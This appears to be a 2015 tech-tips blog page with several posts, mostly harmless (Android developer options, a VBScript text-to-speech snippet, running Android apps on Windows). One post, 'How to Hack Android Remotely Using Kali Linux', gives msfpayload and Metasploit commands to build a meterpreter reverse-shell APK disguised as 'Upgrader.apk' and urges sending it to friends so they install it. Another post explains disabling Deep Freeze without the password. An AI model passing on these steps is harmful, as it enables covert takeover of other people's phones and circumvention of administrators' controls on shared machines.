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Wednesday, August 26, 2015

How to enable Developer Options on your Android phone or tablet


This is one of those really basic things for most folks here. We get that. But it's worth a reminder for those new to Android (hi, new folks!), and new to Android 5.0 Lollipop. And so it deserves a quick minute of our time.

Most of what you'll see in the Lollipop developer settings (at least as of the updated preview) is the same as what you'll find in KitKat.


Go to Settings>About phone and hit the build number 7 times to unlock things. 

And most of us won't need to go anywhere near most of the options. (USB debugging really is the only one I ever need to touch.) It is worth nothing, however, that you won't find an option to either use the Dalvik or experimental ART runtime. That's because (and, again, those of you in the back of the class should know this already) the new Android Run time is the default in Android 5.0, and it's been built to run apps compiled for Dalvik as well. This is a good thing.

You'll find some new media options for an experimental HTML5 player and USB audio, some Wifi tweaks, and a few other things that frankly I have no business mucking about with.

please comment below if you have any doubts...

Sunday, August 16, 2015

How to Bypass Right Click Block on Any Website

You might remember an experience where you tried to right-click on a web page but got a pop-up message saying that the “right-click functionality has been disabled”. Sometimes you may be trying to copy an image or view the source of a web page but when the right-click is disabled, these things would seem impossible. Bank websites and other sites that require a secure transaction such as a payment gateway are the ones to impose this kind of limited functionality on their pages. In this post, I will show you the ways by which you can easily bypass right-click block feature on any website.
                                            In order to block the right-click activity, most websites make use of JavaScript which is one of the popular scripting languages used to enhance functionality, improve user experience and provide rich interactive features. In addition to this, it can also be used to strengthen the website’s security by adding some of the simple security features such as disabling right-click, protecting images, hiding or masking parts of a web page and so on.


How JavaScript Works?
 Before you proceed to the next part which tells you how to disable the JavaScript functionality and bypass any of the restrictions imposed by it, it would be worthwhile for you to take up a minute to understand how JavaScript works.
                             JavaScript is a client side scripting language (in most cases), which means when loaded it runs from your own web browser. Most modern browsers including IE, Firefox, Chrome and others support JavaScript so that they can interpret the code and carry out actions that are defined in the script. In other words, it is your browser which is acting upon the instruction of JavaScript to carry out the defined actions such as blocking the right-click activity. So, disabling the JavaScript support on your browser can be a simple solution to bypass all the restrictions imposed by the website.
How to Disable the JavaScript?


Here is a step-by-step procedure to disable JavaScript on different browsers:

For Internet Explorer:
If you are using IE, just follow the steps below:
From the menu bar, go to Tools -> Internet Options.
In the “Internet Options” window, switch to Security tab and click on the button Custom level…

From the Security Settings, look for the option Active scripting and select the Disable radio button as shown above and click on “OK”.
You may even select the Prompt radio button, so that each time a page is loaded, you will have the option to either enable or disable the scripting. 

For Google Chrome:
If you are using Chrome, you can disable the JavaScript by following the steps below:
Click on the Chrome “menu” button (on the top right corner) and select Tools.
From the “Settings” page, click on Show advanced settings…
Now under Privacy, click on the button Content settings…

Under the JavaScript, select the radio button which says “Do not allow any site to run JavaScript” and click on “Done”.


For Mozilla Firefox:
Steps to disable JavaScript on Firefox:
From the menu bar, click on Tools -> Options.
From the Options window, switch to Content tab, uncheck the option which says “Enable JavaScript” and click on “OK”.


How to Bypass the Right Click Block?
In order to bypass the right-click block or any other restriction imposed by JavaScript, all you need to do is just disable it in the browser and refresh the same page, so that it now reloads without JavaScript functionality. You are now free to right-click on the page, view its source or even copy any of the images that you may want to. Don’t forget to re-enable the JavaScript once again when your job is over. Otherwise lack of JavaScript support may result in unusual rendering of web pages.

Friday, August 14, 2015

Convert Any Text to Audio Without Any Software



HI friends, Here an awesome trick Which will help you to Convert Any Text to Audio Without Any Software. Isn’t it Interesting? Yes it is.
With this trick you can convert any text to Audio without any use of third party software.

Steps to Convert Any Text to Audio Without Any Software


 Step 1. First of all Open notepad then copy the below text and paste it in notepad.

 Dim msg, sapi
msg=InputBox(“Enter your text for conversion– “,”By computer freaks”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak msg 

Note: Few people are getting error, it may be due to our website script is also being copied. That’s why we wrote the code in a notepad.
Please download the file. Click Here To Download (It’s a simple text file, so you guys don’t have to worry about virus or anything )

Step 2: After Pasting the Above Code in notepad, Save the file with the name Text To Audio.vbs
remember the name of the file should be with .vbs extension.
its nothing but a Vbscript File.

Step 3: Now double click on the saved file and you will see a box like the below pic.


Step 4. Type your text which you want to hear, and then press OK. Thats it. All Done.
You can hear it loud and clear.
Isn’t it amazing ?
if you have any doubts drop your comments below...

Thursday, August 13, 2015

Run Android apps on your Windows PC


Android’s application ecosystem has proven to be versatile and very developer-friendly, after a bit of a slow start. You are free to develop an app for Android and publish it to the Play Store with minimal restrictions. This has led to a plethora of really cool Android apps, some of which aren’t available on iOS or other platforms. Running Android apps usually requires an Android smartphone or tablet — obviously! — but what if you currently use iOS or another mobile OS, and want to try out Android without actually getting an Android device?

Well, fortunately, with a little leg work, you can run Android apps on a regular old Windows PC. There are a few different ways to go about it, each with their own strengths and weaknesses.

ARC Welder for Chrome


Probably the easiest way to get Android apps running on your Windows PC is to use Google’s ARC Welder Chrome extension (ARC stands for App Runtime for Chrome). Since this is a Chrome extension, it’s not only restricted to Windows PCs — you could also use this method on a Chromebook or Mac. The process is much the same no matter which platform you’re using Chrome on. Simply head to the Chrome Web Store and grab the ARC Welder extension to get everything you need installed.

ARC Welder is a beta tool, and it’s mainly directed at developers. Still, the process of loading an app is quite simple. You’ll need an APK to load into ARC Welder (known as sideloading), which you can get from backing up an app on your physical Android device, or you can download an APK from any number of places on the internet. We don’t recommend you download paid apps and games from shady websites, though. There are a few sites that archive legitimate free APKs, like APK Mirror.
When you’ve got your APK ready to go, you can open ARC Welder from the Chrome app list and point it at the file. Then you just have to choose how you want the app to render — landscape/portrait, tablet/phone, and whether you want it to have clipboard access. Not every app will run, and some of those that do will be missing components. ARC Welder doesn’t currently have native support for Google Play Services (unless you’re the app developer and have access to the app’s code), so Google’s apps and some third-party ones will refuse to run.
Apps and games that work tend to run very well in ARC. You should get almost full functionality from apps like Evernote, Instagram, and even Flappy Bird. You can only have one app installed in Chrome via ARC Welder at a time, so you need to go back to the install dialog whenever you want to change to a different one.

The side loading requirement along with the limit of one app at a time makes ARC Welder less than ideal for running Android apps on Windows on a daily basis. However, if you just want to get one up and running for testing or just to play around, this should be your first stop.


The Android emulator

The next most straightforward way to get Android apps running on a PC is to go through the Android emulator released by Google as part of the official SDK. The emulator can be used to create virtual devices running any version of Android you want with different resolutions and hardware configurations. The first downside of this process is the somewhat complicated setup process.
You’ll need to grab the SDK package from Google’s site and use the included SDK Manager program to download the platforms you want — probably whatever the most recent version of Android happens to be at the time (5.1 at the time of publishing). The AVD manager is where you can create and manage your virtual devices. Google makes some pre-configured options available in the menu for Nexus devices, but you can set the parameters manually too. Once you’ve booted your virtual device, you’ll need to get apps installed, but the emulator is the bone stock open source version of Android — no Google apps included.
Since there’s no Play Store, you’ll need to do some file management. Take the APK you want to install (be it Google’s app package or something else) and drop the file into the tools folder in your SDK directory. Then use the command prompt while your AVD is running to enter (in that directory) adb install filename.apk. The app should be added to the app list of your virtual device.

The big upside here is that the emulator is unmodified Android right from the source. The way apps render in the emulator will be the same as they render on devices, and almost everything should run. It’s great for testing app builds before loading them onto test devices. The biggest problem is that the emulator is sluggish enough that you won’t want to make a habit of running apps in it. Games are really out of the question as well.

Andy:The Android emulator
download here

Android PC ports

If you don’t mind a little extra hassle, you can have a more fluid Android app experience by installing a modified version of the OS on your PC. There are a few ports of Android that will run on desktop PCs, but support is somewhat limited because of the extensive hardware configuration options for PCs. The two leading choices for a full Android installation on PC are Android on Intel Architecture (UEFI-equipped devices) and the Android-x86 Project (pictured above).
Neither one is in a perfect state, and you’ll need a supported piece of hardware, like the Dell XPS 12 for Intel’s version or the Lenovo ThinkPad x61 Tablet for Android-x86. You could install them over top of Windows, but that’s not the best idea. The smarter way would be to create a separate hard drive partition and install Android there.
If your hardware isn’t supported by either of these projects, you can also try installing them in Virtual Box, which should be a little faster than the official Android emulator. It probably still won’t be good enough for games, but most apps should install and run correctly. Also, you’ll have to install the apps you want manually, as there’s no Google Play integration here either.

BlueStacks App Player

If you’re looking to get multiple apps and games up and running on your computer with the minimum of effort, BlueStacks is your friend. The BlueStacks App Player presents itself as just a way to get apps working, but it actually runs a full (heavily modified) version of Android behind the scenes. Not only that, but it has the Play Store built-in, so you have instant access to all of your purchased content. It actually adds an entry to your Google Play device list, masquerading as a Galaxy Note II.

The BlueStacks client will load up in a desktop window with different app categories like games, social, and so on. Clicking on an app or searching does something unexpected — it brings up the full Play Store client as rendered on tablets. You can actually navigate around in this interface just as you would on a real Android device, which makes it clear there’s a lot more to BlueStacks than the “App Player” front end. In fact, you can install a third-party launcher like Nova or Apex from the Play Store and set it as the default. The main screen in BlueStacks with the app categories is just a custom home screen, so replacing it makes BlueStacks feel almost like a regular Android device.]

Having full Play Store access means you won’t be messing around with sideloading apps, and BlueStacks manages to run everything impressively. Most games are playable, but keep in mind you’ll have trouble operating many of them with a mouse. If your PC has a touch screen, you can still use apps and games that rely on more than one touch input. BlueStacks can essentially make a Windows 8 tablet PC into a part-time Android tablet. BlueStacks calls the technology that makes this possible “LayerCake” because Android apps run in a layer on top of Windows.
The only real issue with BlueStacks is that it’s not running a standard Android build. All the alterations the company made to get apps working on a PC can cause issues — some apps simply fail to run or crash unexpectedly. This customized environment is also of little value as a development tool because there’s no guarantee things will render the same on BlueStacks as they might on a real Android device without all the back-end modifications. It’s also a premium service with a $2 pro subscription, or you can install a few sponsored apps.

So what’s the best way?

If you need to test something with the intention of putting it on other Android devices, the emulator is still the best way to give builds a quick once-over on a PC before loading them on to Android phones or tablets. It’s slow, but standardized, and you’ll be able to see how things will work on the real deal. The Android PC ports are definitely fun to play with, and performance is solid when you get apps running, but they can be finicky.

If you’re interested in getting more than a handful of apps running on your PC so you can actually use and enjoy them, BlueStacks App Player is the best solution. It’s fast, has Play Store access, and works on multi touch Windows devices. ARC Welder is also something to keep in mind if you only need to use one app at a time. The setup is easy and it’s completely fre

please comment below if you have any doubts...

How to Hack Android Remotely Using Kali Linux




This is a tutorial explaining how to hack android phones with Kali.
I can't see any tutorials explaining this Hack/Exploit, so, I made one.
(Still ,you may already know about this)


Step 1: Fire-Up Kali:

  • Open a terminal, and make a Trojan.apk
  • You can do this by typing :
  • msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk (replace LHOST with your own IP)
  • You can also hack android on WAN i.e. through Interet by using your Public/External IP in the LHOST and by port forwarding (ask me about port forwarding if you have problems in the comment section)



Step 2: Open Another Terminal:

  • Open another terminal until the file is being produced.
  • Load metasploit console, by typing : msfconsole



Step 3: Set-Up a Listener:
  • After it loads(it will take time), load the multi-handler exploit by typing : use exploit/multi/handler
  • Set up a (reverse) payload by typing : set payload android/meterpreter/reverse_tcp
  • To set L host type : set LHOST 192.168.0.4 (Even if you are hacking on WAN type your private/internal IP here not the public/external)

Step 4: Exploit!
  • At last type: exploit to start the listener.
  • Copy the application that you made (Upgrader.apk) from the root folder, to you android phone.

  • Then send it using Uploading it to Dropbox or any sharing website (like: www.speedyshare.com).
  • Then send the link that the Website gave you to your friends and exploit their phones (Only on LAN, but if you used the WAN method then you can use the exploit anywhere on the INTERNET)
  • Let the Victim install the Upgrader app(as he would think it is meant to upgrade some features on his phone)
  • However, the option of allowance for Installation of apps from Unknown Sources should be enabled (if not) from the security settings of the android phone to allow the Trojan to install.
  • And when he clicks Open...

Step 5: BOOM!

There comes the meterpreter prompt:



please comment below if you have any doubts...

Wednesday, August 12, 2015

How to Disable/Uninstall Deep Freeze with out password


To Disable Deep Freeze:
  • Hold on the shift key and double-click the Deep Freeze icon. Alternatively, you can press CTRL+ALT+SHIFT+F6. 
  • Enter your password and click OK.(ask the shop owner) 
  • If you have not yet entered a password you should be able to click OK without entering a password. 
  • The Boot Options dialog is displayed. Select "Boot Thawed" and click OK. This will disable Deep Freeze on the next reboot. 
  • Reboot your computer. After the computer reboots, you are ready to uninstall Deep Freeze. 
To Uninstall Deep Freeze:
  • Locate the installation file you used to install Deep Freeze on your computer. By default, the name of this file is called "DF5Std.exe" for versions 5.X and "DF6Std.exe" for versions 6.X. 
  • Run the installation file (DF5Std.exe or DF6Std.exe). 
  • Select the option to "Uninstall" 
  • Deep Freeze is uninstalled and your computer is rebooted. 
  • you can also use RevoUninstaller(be sure that its disabled first before uninstalling the app). 
How to Disable Deep Freeze with out knowing the password:
  • Restart your PC 
  • Press DEL or F2 while the computer starts up to enter the CMOS setup 
  • Change the date by 10 years, save, and restart your PC 
  • Before the Windows logo shows up, press F8 
  • When prompted, choose Debug mode or Debugging Mode 
  • In Debug mode, select the OS you use - (for example Windows XP Pro) 
  • When Windows XP starts, wait for the welcome screen to appear and get ready to press CTRL+ALT+DEL as soon as the desktop appears 
  • Press D or locate DFServe using your mouse 
  • Press Del to kill DFServ. 
  • If you succeed restart your PC and boot it in normal mode. You will see the DeepFreeze icon will be marked with an X, meaning it is disabled. Now you can uninstall it using DeepFreeze Installer 
Don't forget to change back your time in CMOS afterwards.


if you have any doubts please comment below...

Tuesday, August 11, 2015

How To Use Whatsapp Without A Phone Number


Whatsapp is a highly used social networking app for texting and chatting with friends and which was used by many users all over the world. WhatsApp Messenger is a mobile messaging app which allows you to send messages without costing you any price of  SMS. WhatsApp Messenger is build for iPhone, BlackBerry, Android, Windows Phone and Nokia and yes, those phones can all message each accumulation! Because WhatsApp Messenger uses the same internet data scheme that you use for email and web browsing, there is no cost to message and stay in  touch with your friends and do unlimited chatting.

So many users don’t have sim card cell phone or using tablet but the problem is that they want to use whatsapp in their smart phone. Today i will gonna to show you how to use whatsapp without a phone number, so that you can also try whatsapp in your tablet or somewhat else. Follow me below guide to apply the trick.

Trick On How To Use Whatsapp Without A Phone Number
  • First download whatsapp messenger in your smart phone from your mobile app store, if you are old user than delete your mobile number from whatsapp account.
  • After download completes install whatsapp in your smart phone and then close it. Don’t move on to next step.
  • Now we need to verify mobile number, so to verify mobile number we need to install one another application called “Text+“. We have to install Text+ app because to verify mobile number.
  • Now after install Text+ app, open the app >> navigate to “settings” panel >> move forward and select “contact“.
  • Now you will get a private number in that app for your use, copy that given mobile number in Text+ app.
  • Open your whatsapp messenger app and at the phone verification paste that copied number and press continue.
  • Now wait for a few seconds you will receive a verification code in your Text+ app.
  • After getting whatsapp verification code, copy that code and use it for whatsapp verification.
  • That’s it now continue to start chatting on whatsapp without phone number.


Well now you understand the trick how to use whatsapp without a phone number and if you get any problem regarding this trick than comment below we will resolve your problem.